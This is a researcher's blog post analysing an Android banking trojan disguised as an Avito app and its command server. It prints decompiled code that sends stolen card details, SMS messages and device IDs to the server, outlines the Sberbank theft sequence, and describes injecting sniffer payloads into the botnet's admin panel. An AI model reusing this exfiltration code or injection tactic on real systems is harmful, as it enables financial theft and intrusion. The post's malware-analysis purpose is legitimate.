How I Shamefully Deactivated a Botnet
A security researcher discovers an Android trojan disguised as a popular marketplace app, investigates the botnet infrastructure, and accidentally takes it down while searching for vulnerabilities.
I posted an ad on avito.ru, suspecting nothing. I'd been there so many times! But this time, things didn't go as planned...
I'd long been sure that many unscrupulous people scrape phone numbers from that site, so taxis, building materials, emergency computer help, "8-800-555-3-555 — it's easier to call than to borrow from someone," and invitations to psychic battles were nothing new to me. But this time there was something different.
I received an SMS with the text: "Interested in ur listing how about a trade at http://..." — just like that, with a missing punctuation mark and typos. And the link downloaded avito.apk. Interesting.
Well, I thought, I should take a look at what this APK does. The result from my usual toolchain of apktool + dex2jar + jd-gui wasn't satisfying, since some classes weren't visible in the tree view, though they could be accessed via direct links. I decided to use those newfangled online sandboxes — and got both the decompiled code, analysis information, and a pcap file with dumped traffic. As it turned out, someone had uploaded this file before me, so I got my hands on an earlier analysis, which proved quite useful.
So, here's what this trojan can do:
- delivery&&& — mass SMS sending to contacts in the phone book with a specified text
- sent&&& — sending specified SMS messages from the server
- rent&&& — intercepting all SMS messages and forwarding them to the server
- sms_stop&&& — canceling SMS interception
- ussd&&& — USSD request
- call_1&&& — setting and canceling unconditional call forwarding
In addition to these commands, the trojan disables Wi-Fi Sleep, tries to gain access to the encrypted storage, and attempts to install itself as an Android administrator (naturally, using standard OS dialogs where the user can cancel the action). The trojan's code is not obfuscated; some strings are base64-encoded. It's honestly unclear what kind of trojan this is. Whether it was assembled by copy-pasting, or based on some other trojan, or something else entirely — it contains strings in Portuguese, German, English, Ubuntu fonts, a form for intercepting data from the German bank Commerzbank's app, some game icon, and a Flash Player icon.
The SMS contained a shortened link that expanded to a link on the server i-avito.com. After scanning this server with nmap, I found another domain deskdistributor.com, which appeared in the title on port 443.
Starting Nmap 6.47 ( nmap.org ) at 2014-08-25 17:17 MSK
NSE: Loaded 118 scripts for scanning.
NSE: Script Pre-scanning.
Initiating Ping Scan at 17:17
Scanning i-avito.com (91.237.198.115) [2 ports]
Completed Ping Scan at 17:17, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:17
Completed Parallel DNS resolution of 1 host. at 17:17, 0.00s elapsed
Initiating Connect Scan at 17:17
Scanning i-avito.com (91.237.198.115) [1000 ports]
Discovered open port 22/tcp on 91.237.198.115
Discovered open port 993/tcp on 91.237.198.115
Discovered open port 80/tcp on 91.237.198.115
Discovered open port 3306/tcp on 91.237.198.115
Discovered open port 143/tcp on 91.237.198.115
Discovered open port 110/tcp on 91.237.198.115
Discovered open port 21/tcp on 91.237.198.115
Discovered open port 53/tcp on 91.237.198.115
Discovered open port 25/tcp on 91.237.198.115
Discovered open port 443/tcp on 91.237.198.115
Discovered open port 587/tcp on 91.237.198.115
Discovered open port 995/tcp on 91.237.198.115
Discovered open port 2222/tcp on 91.237.198.115
Completed Connect Scan at 17:17, 3.42s elapsed (1000 total ports)
Initiating Service scan at 17:17
Scanning 13 services on i-avito.com (91.237.198.115)
Completed Service scan at 17:17, 19.97s elapsed (13 services on 1 host)
NSE: Script scanning 91.237.198.115.
Initiating NSE at 17:17
Completed NSE at 17:18, 19.50s elapsed
Nmap scan report for i-avito.com (91.237.198.115)
Host is up (0.094s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.4b
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp Exim smtpd 4.76
53/tcp open domain
80/tcp open http Apache httpd 2
110/tcp open pop3 Dovecot DirectAdmin pop3d
143/tcp open imap Dovecot imapd
443/tcp open ssl/http Apache httpd 2
587/tcp open smtp Exim smtpd 4.76
993/tcp open ssl/imap Dovecot DirectAdmin imapd
995/tcp open ssl/pop3 Dovecot DirectAdmin pop3d
2222/tcp open http DirectAdmin httpd 1.33.6
3306/tcp open mysql MySQL 5.5.31
Service Info: Host: s.ee; OS: Unix
Nmap done: 1 IP address (1 host up) scanned in 43.49 seconds
A quick internet search revealed several more domains: m-avito.com, m-avito.net (176.119.3.51), m-avito.info (91.237.198.115), and by searching whois data, I found another suspicious domain 1host.name (94.242.227.67), which appeared to be more of a placeholder than an informational site. The virus itself communicates with the domain jewelrycover.com (91.237.198.124), which was probably either repurchased or the botnet administrator obtained it through phishing.
After examining the pcap files obtained from sandboxes and my own captures, I discovered the full CnC URL and the format of data sent to and received from the server. The mobile device would contact the get.php script at some interval, each time transmitting its ID — created by computing an MD5 hash of the IMEI, country, carrier name, Android version, and phone model — and in response would either receive or not receive a command. If the device received some command, a notification was sent to the server at set_result.php with the device ID and command name. All incoming SMS messages were sent to the load_sms.php script.
Here's the decompiled code responsible for card data exfiltration:
protected HttpRequestBase a() {
try {
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
arraylist.add(new BasicNameValuePair("number", b));
arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
} catch(UnsupportedEncodingException unsupportedencodingexception) {
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d() {
return new String((new StringBuilder()).append(a).append("set_card.php").toString());
}
Device registration code:
protected HttpRequestBase a() {
try {
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
} catch(UnsupportedEncodingException unsupportedencodingexception) {
unsupportedencodingexception.printStackTrace();
}
return null;
}
protected String d() {
return new String((new StringBuilder()).append(a).append("get.php").toString());
}
SMS exfiltration code:
protected HttpRequestBase a() {
try {
JSONObject jsonobject = new JSONObject();
jsonobject.put("text", c);
jsonobject.put("number", d);
jsonobject.put("date", e);
HttpPost httppost = new HttpPost(d());
ArrayList arraylist = new ArrayList();
arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
return httppost;
} catch(UnsupportedEncodingException unsupportedencodingexception) {
unsupportedencodingexception.printStackTrace();
} catch(JSONException jsonexception) {
jsonexception.printStackTrace();
}
return null;
}
protected String d() {
return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
}
At the time of the malware investigation, it was configured to steal money from Sberbank clients using mobile SMS banking, and only once did I receive a command from the server to send a virus link to the first available address from the device's contact book.
First, the server would send the rent&&& command to receive all incoming SMS messages on the device. Then a message "INFO" was sent to the number 900 — the Sberbank mobile banking number. The client's card information was transmitted to the server. Then the server sent a sent&&& command with a balance inquiry for each card. After that, a command was sent either to transfer money to a Sberbank account (8,000 rubles) or to top up an MTS subscriber account (3,000 rubles).
Overall, what was happening was exactly what had been described in the recent article about stealing money from Sberbank clients, but automated. The server didn't send any other commands. If the server received a response to the INFO request indicating that the device owner was not a Sberbank client, no further responses came from the server.
I wrote a small script that emulates the bot's behavior. And somehow the thought crept into my mind that, with high probability, the admin panel had vulnerabilities. I couldn't find any SQL injections, so I decided to insert a sniffer image into all transmitted values: into the carrier name, into the device model name, into the command execution notification, into the SMS text — you get the idea. Nothing happened.
I ran the scripts in a loop to collect as many of the scammers' phone numbers as possible.
Sberbank account numbers:
9687792866 8000
9050391955 8000
9061153023 8000
9663455177 8000
9050253473 8000
9672215694 8000
9663455125 8000
9663455180 8000
9050384603 8000
9687792852 8000
MTS numbers:
9877251451 3000
9877251519 3000
9877298049 3000
9877299230 3000
9877298819 3000
9877298775 3000
9818915169 3000
9877299466 3000
9117187631 3000
9877251259 3000
9873389680 3000
9198360569 3000
9873389735 3000
9873389737 3000
9873389766 3000
9877251151 3000
9198227849 3000
9877251169 3000
9877251851 3000
9877251136 3000
9877251226 3000
9877251227 3000
9877154758 3000
9877154761 3000
9877154752 3000
9877154756 3000
9818895780 3000
9818742776 3000
9818740837 3000
9818770491 3000
9877154765 3000
9877154825 3000
9818742764 3000
9877154773 3000
9818894379 3000
9818770342 3000
9818770523 3000
I continued scanning the servers and looking for vulnerabilities. I found phpMyAdmin and SquirrelMail, but couldn't find any vulnerabilities in them. And then, completely by accident, the server went down. Pages wouldn't open, pings wouldn't go through. I opened the sniffer, and what do I see!?
This had happened two hours before the server went down. If I had been monitoring the sniffer more frequently, I would have gained access to the admin panel, since the sniffer caught a referrer that led to it. Most likely, some data was being escaped and some wasn't, and the administrator, seeing the escaped data and realizing that his IP had been compromised, decided to retreat.
That's how I shamefully deactivated the botnet. You may officially haze and humiliate me.
The scammers' numbers have been reported to Sberbank's security service, the IP address has been sent to Beeline's security service, and abuse reports have been filed with the hosters. The trojan itself, another one, the source code, pcap files, and nmap results are available for free, no SMS required.